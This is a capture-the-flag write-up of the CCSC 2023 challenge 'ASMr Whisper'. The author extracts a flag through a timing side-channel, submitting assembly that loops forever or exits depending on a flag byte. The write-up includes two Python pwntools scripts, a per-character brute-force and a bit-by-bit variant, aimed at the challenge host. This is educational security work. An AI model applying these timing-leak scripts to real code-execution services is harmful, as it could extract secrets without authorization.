CCSC 2023 - ASMr Whisper

6 minute read

Challenge

Did you know robots love to whisper? ASMr your way to the flag!

Solution

The challenge description and title gives some major hints for writing assembly. When you connect to the socket

******************************************************
 flag db "FLAG", 0
******************************************************
Enter your assembly code (press Enter for newline, twice to finish):

I noticed that string_name db "string", 0 is Intel syntax, so I assumed that any assembly I write must also be in Intel syntax.

Approach 1

Although I saw the message on the top, I didn’t realise that it was part of the script, so I assumed that I had to read the flag from a file, and print it to stdout.

This consists of the following system calls

  1. Open flag.txt in read mode
  2. Read flag.txt to a buffer
  3. Write the contents of the buffer to stdout

After some reading about the specifics Linux syscalls, I found the correct syscalls I had to use, and called them with int 0x80, but I didn’t manage to make it work. Initially, I thought that I had to create a child process (fork), and then execute a shell (execve), with the necessary FIFOs for writing the shell’s stdout to our stdout. (Thankfully) before implementing this, I realised it was a beginner challenge and what I was doing didn’t look very beginner-friendly, so I abandoned the idea.

Approach 2

After some more thought, I remembered about the flag db "FLAG", 0 message when the socket is opened. I realised that it would make sense for a beginner challenge to only have to do a single syscall to write the message to stdout, so I tried that.

While doing that however, I managed to mess up my implementation in a way that it didn’t work (even if I tried printing my own messages, not using the flag symbol provided). Because of this, I (wrongly) assumed that stdout of the assembled program was not piped to the socket, so I abandoned this idea as well (Note: this is not true, and this was the intended solution, I just had something wrong in the way I prepared the arguments for the syscall)

Approach 3 (Unintended solution)

From now on, I assumed that I had no way to get output from the assembled program (since stdout is not forwarded). The next thing I considered was the error messages given, since I noticed that they were different each time. Particularly, the message Something broke, GOOD JOB GENIUS! appeared whenever my program wouldn’t assemble, and some motivational quotes appeared whenever the program ran successfully. I initially thought that the specific message might be dependent on the value of a register or something like that, but after some experimentation I realised that it was just random.

Therefore, with error messages out of the way, I thought that there was no way to get direct output from the machine. Therefore, I moved on to side channels that I could use. Of course, since I can execute arbitrary code, I can design a program on which I can use a timing attack to extract information.

Experimentation

To test this out, I tried the following:

infloop:
   jmp infloop

This did in fact work as expected, and the program ran until I stopped it, without any (short) timeouts. Nice! All that I had to do next was to use this to get the flag.

The simplest thing to do is to compare the first letter of the flag with A, B, C, etc. until a match is found, and have an infinite loop only if there is a match. When the first letter is found, move on to the second letter, and repeat the same. The ASM for this looks like this:

mov al,[flag+{index}]
cmp al,{ord(letter)}
infloop:
    jne infloop

It compares the index-th letter of the flag with letter. If they are different, it enters an infinite loop, but if they are the same it doesn’t (since it wouldn’t jump back). (After looking at it now, it would make sense for it to be the other way round, since there will be at least an order of magnitude more mismatches than matches, and non-infinite loops end faster. Somehow, didn’t think of that while solving it).

Plugging this into a script to loop over all letters, we have:

from pwn import remote
from datetime import datetime, timedelta
import string
import time
from multiprocessing import Pool


def check(index: int, letter: str):
    conn = remote("challenges.cybermouflons.com", 10019, level='error')
    conn.recvlines(4)

    asm = f'''mov al,[flag+{index}]
    cmp al,{ord(letter)}
    infloop:
        jne infloop
    '''
    start = datetime.now()
    conn.sendline(asm.encode())
    conn.recvall(timeout=1)
    stop = datetime.now()
    if stop - start < timedelta(seconds=0.9):
        print(index, letter)
        return True
    print(index, letter, end='\r')
    return False


alphabet = string.printable
flag = 'CCSC{th@T_w@5_3asY_d0nt-'
for index in range(len(flag), 100):
    found = False
    for letter in alphabet:
        if check(index, letter):
            flag += letter
            found = True
            break
    if not found:
        flag += ' '
    print(flag)
    if flag[-1] == '}':
        break

for index, char in enumerate(flag):
    print(index, char, check(index, char))

Issues

Over time, after ~1000 connections, the socket became extremely slow to both connect and to assemble the program, slowing down my whole program. Therefore, I had to constantly destroy and recreate the instance. However, it still gave me the flag, it just took a few hours more that I’d like.

Optimising

I already mentioned that I didn’t notice the most obvious optimisation I could make, but I thought of some more after the competition ended. In each run, we extract a single bit of information from the system (infinite loop/no infinite loop). Therefore, instead of comparing each letter of the flag with all possible letters at each index, I could simply get the corresponding bit of the flag. Therefore, I would need exactly 8 runs per character in the flag instead of ~100. The script for this would be:

from pwn import remote
from datetime import datetime, timedelta
import string
import time
from multiprocessing import Pool


def check(index: int, bit: int):
    conn = remote("challenges.cybermouflons.com", 10019, level='error')
    conn.recvlines(4)

    asm = f'''mov al,[flag+{index}]
    and al, {2**bit}
    infloop:
        jne infloop
    '''
    start = datetime.now()
    conn.sendline(asm.encode())
    conn.recvall(timeout=1)
    stop = datetime.now()
    if stop - start < timedelta(seconds=0.9):
        return True
    return False


alphabet = string.printable
flag = 'CCSC{th@T_w@5_3asY_d0nt-'
for index in range(len(flag), 100):
    found = False
    letter = 0
    for bit in range(8, -1, -1):
        letter *= 2
        if check(index, bit):
            letter += 1
    flag += chr(letter)
    print(flag)
    if flag[-1] == '}':
        break

Although I considered something like this during the CTF, I thought it would be a lot more complicated than what it was in reality. Nevertheless, I think it’s a pretty neat solution, and diverges from the more classic “letter-by-letter brute-force”which is found in many side channel attacks.

Optimising further

I thought of this during the CTF while solving the challenge, but thought it was too much effort to try it, since I could just wait and get the flag using the unoptimised method above. The main idea is to extend the timing attack, such that I extract more than a single bit of information. This can be done by having different loop durations instead of instant termination/infinite loop. For example, adding another 2 possible loop durations (e.g. having a loop decrementing from 100000, and a loop decrementing from 200000) would give us another bit of information per run, meaning that we would use half the amount of runs. However, since the timing is not perfect and is different each time, I am not sure about the reliability of such a solution.

A note on unintended solutions

This was a beginner challenge. While solving it, I was 100% sure that this was not the intended solution. Yet, I found the idea interesting, and once I came up with it, I couldn’t not solve the challenge with this solution. Even though it probably (certainly) took more time than debugging my initial (intended) solution, I enjoyed it a lot more, and showed that side channels may come in places we don’t expect them to.

Updated: